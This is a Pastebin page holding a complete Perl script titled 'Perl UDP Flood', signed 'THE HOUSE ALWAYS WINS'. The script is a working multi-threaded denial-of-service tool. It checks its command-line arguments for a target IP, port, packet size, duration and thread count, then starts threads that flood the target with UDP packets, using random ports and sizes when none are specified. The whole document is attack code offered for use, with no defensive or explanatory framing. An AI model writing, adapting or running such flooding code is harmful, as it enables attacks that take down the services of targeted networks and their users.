Advertisement
Baph0met

Perl UDP Flood

Feb 19th, 2016
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.16 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3.  use strict;
  4.  use Socket;
  5.  use threads;
  6.  
  7.  #Baph0met/THE HOUSE ALWAYS WINS
  8.  
  9.  my $fail = 0;
  10.  #Usage: [IP] [port 0 for random]  [Packet size 0 for random [1-65500]] [seconds to flood] [threads] [show each packet sent, 0 for false 1 for true]
  11.  if($ARGV[0] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
  12.  {
  13.      print "[x]Valid IP check...\n"
  14.  }
  15.  else
  16.  {
  17.      $fail = 1;
  18.      print "[!]IP check Failed... x.x.x.x\n";  
  19.  }
  20.  if($ARGV[1] =~ /^\d+$/ && $ARGV[1] > 0 && $ARGV[1] < 65536)
  21.  {
  22.      print "[x]Port Check...\n";
  23.  }
  24.  else
  25.  {
  26.      $fail = 1;
  27.      print "[!]Port Check Failed! 0 for random or 1-65535...\n";  
  28.  }
  29.  if($ARGV[2] =~ /^\d+$/ && $ARGV[2] > 0 && $ARGV[2] <= 65500)
  30.  {
  31.      print "[x]Packet Size Check...\n";
  32.  }
  33.  else
  34.  {
  35.      $fail = 1;
  36.      print "[!]Packet Size Check Failed! 0 for random - 65500...\n";  
  37.  }
  38.  if($ARGV[3] =~ /^\d+$/ && $ARGV[3] > 0)
  39.  {
  40.      print "[x]Valid Seconds check...\n"
  41.  }
  42.  else
  43.  {
  44.      $fail = 1;
  45.      print "[!]Seconds check Failed... must be an interger and greater then 0\n";  
  46.  }
  47.  if($ARGV[4] =~ /^\d+$/ && $ARGV[4] > 0)
  48.  {
  49.      print "[x]Valid Threads check...\n";
  50.      if($ARGV[4] > 35)
  51.      {
  52.          print "Warning! You have selected 35+ threads. This can cause problems, consider revising!\n";
  53.      }
  54.  }
  55.  else
  56.  {
  57.      $fail = 1;
  58.      print "[!]Threads check Failed... must be an interger and greater then 0\n";  
  59.  }
  60.  if($ARGV[5] =~ /(0|1)/)
  61.  {
  62.      print "[x]Valid \"Show Each Packet\" variable...\n";
  63.  }
  64.  else
  65.  {
  66.      $fail = 1;
  67.      print "[!]Invalid \"Show Each Packet\" variable 0 for no, 1 for yes...\n";
  68.  }
  69.  
  70.  
  71.  if($fail == 0)
  72.  {
  73.  print "Continue?[y/n]\n";
  74.  my $ans = <STDIN>;
  75.  if($ans =~ /y/i)
  76.  {
  77.      print "[UDP Flooding] $ARGV[0] " . "| PORT:" . ($ARGV[1] ? $ARGV[1] : "random")
  78.      . " PacketSize:" . ($ARGV[2] ? "$ARGV[2]-byte" : "random") . " Seconds:$ARGV[3]"
  79.      . " Threads:$ARGV[4]\n";
  80.  
  81.      use vars qw ($udp_tdn $p_s $udp_t $count $udp_td $d_c $d_cc);
  82.  
  83.      $udp_td = 0, $count = 0;
  84.  
  85.      for(; $count <= $ARGV[4]; $count += 1)
  86.      {
  87.          $udp_t = threads->create(\&udpflood, $ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3], $ARGV[4]);
  88.          print "Thread:$count\n";
  89.      }
  90.  
  91.      $d_c = threads->create(\&udpdone);
  92.  
  93.      $d_cc = $d_c->join();
  94.  
  95.      for(;$d_c == 0;)
  96.      {
  97.          sleep(3);
  98.      }
  99.    
  100.  sub udpflood
  101.  {
  102.      my $ip = $_[0], my $port = $_[1] ,my $size = $_[2] ,my $time = $_[3], my $threads = $_[4];
  103.      my ($iaddr,$endtime,$psize,$pport);
  104.      $iaddr = inet_aton("$ip");
  105.      $endtime = time() + ($time ? $time : 1000000);
  106.      socket("flood", PF_INET, SOCK_DGRAM, 17);
  107.      for (;time() <= $endtime;)
  108.      {
  109.          $psize = $size ? $size : int(rand(1024-64)+64) ;
  110.          $pport = $port ? $port : int(rand(65500))+1;
  111.      send("flood", pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  112.          if($ARGV[5]==1)
  113.          {
  114.              print "Sent Packet: Size[$psize] Port[$pport]\n";
  115.          }
  116.      }
  117.        
  118.      return 0;
  119.  }
  120.  sub udpdone
  121.  {
  122.      $udp_td = $udp_t->join();
  123.      while ($udp_td == 0)
  124.      {
  125.      sleep(1);
  126.      }
  127.      print "THE HOUSE ALWAYS WINS";
  128.      return 0;
  129.  }
  130.  }
  131.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement